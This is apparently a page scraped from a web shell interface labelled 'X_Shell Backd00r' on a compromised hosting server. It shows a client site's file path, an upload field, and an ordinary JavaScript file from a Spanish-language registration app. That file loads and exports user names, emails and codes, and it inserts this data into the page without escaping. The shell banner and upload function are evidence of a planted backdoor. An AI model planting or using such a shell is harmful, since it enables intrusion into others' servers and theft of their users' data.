[#] hm X_Shell Backd00r [#]

Current Path : /var/www/clients/client35/web46/web/buen-fin/app/registros/js/
Upload File :
Current File : /var/www/clients/client35/web46/web/buen-fin/app/registros/js/main.back.js

window.addEventListener('load', init);
function init(){
	
	allAcreditaciones();

	var btnExc = document.getElementById('createExc');
		btnExc.addEventListener('click', createExcel, false)

	var search = document.getElementById('txtSearch');
		search.addEventListener('keyup', buscarMedio, false);

}

function allAcreditaciones(){

	var content = document.getElementById('t-usuarios');
	var FD = new FormData();
		FD.append('action', 'all');

	var ajax = new XMLHttpRequest();
	ajax.open('POST','../controller/ConsularAcreditaciones.php',true);	
	ajax.onreadystatechange = function(){ 
		if(ajax.readyState == '4' && ajax.status == '200'){
			var data = JSON.parse(ajax.responseText);
			var row = '';
			for(var i = 0; i<data.length; i++){
				row += createRow(data[i].nombre, data[i].correo, data[i].codigo ,data[i].promocion ,data[i].tipo);
			}

			content.innerHTML = row;
		}
	}
	content.innerHTML = '<tr><td collspan="6" align="center"><strong>Cargando...</strong></td></tr>';
	ajax.send(FD);
}


function createRow(nombre, correo, codigo, promocion, tipo){
	var tr = '';
		tr += '<tr>';
			tr += '<td>'+nombre+'</td>';
			tr += '<td>'+correo+'</td>';
			tr += '<td>'+codigo+'</td>';
			tr += '<td>'+promocion+'</td>';
			tr += '<td>'+tipo+'</td>';
		tr += '</tr>';
	return tr;
}

function createExcel(){
	var content = document.getElementById('createExc');
	var FD = new FormData();
		FD.append('action', 'all');

	var ajax = new XMLHttpRequest();
	ajax.open('POST','../controller/ReporteAcreditaciones.php',true);	
	ajax.onreadystatechange = function(){ 
		if(ajax.readyState == '4' && ajax.status == '200'){
			var name = ajax.responseText;
			$.fileDownload('../reportes/'+name)
		    .done(function () { console.log('success'); })
		    .fail(function () { console.log('error');  });
		    content.innerHTML = 'Descargar Excel <span class="glyphicon glyphicon-download-alt"></span>';
		}
		//console.log(name);
	}
	content.innerHTML = '<strong>Descargando...</strong>';
	ajax.send(FD);
}


function buscarMedio(e){
	e.preventDefault()
	var valor = this.value;

	var content = document.getElementById('t-usuarios');
		content.innerHTML = '';
	var FD = new FormData();
		FD.append('action', 'busqueda');
		FD.append('str', valor);

	var ajax = new XMLHttpRequest();
	ajax.open('POST','../controller/ConsularAcreditaciones.php',true);	
	ajax.onreadystatechange = function(){ 
		if(ajax.readyState == '4' && ajax.status == '200'){
			//console.log(ajax.responseText);
			var data = JSON.parse(ajax.responseText);
			var row = '';
			for(var i = 0; i<data.length; i++){
				row += createRow(data[i].nombre, data[i].correo, data[i].codigo ,data[i].promocion ,data[i].tipo);
			}

			content.innerHTML = row;
		}
	}
	content.innerHTML = '<tr><td collspan="6" align="center"><strong>Cargando...</strong></td></tr>';
	ajax.send(FD);
}

Mr.hm X_Shell Backd00r 1.0, Coded By Mr.hm X_Shell Backd00r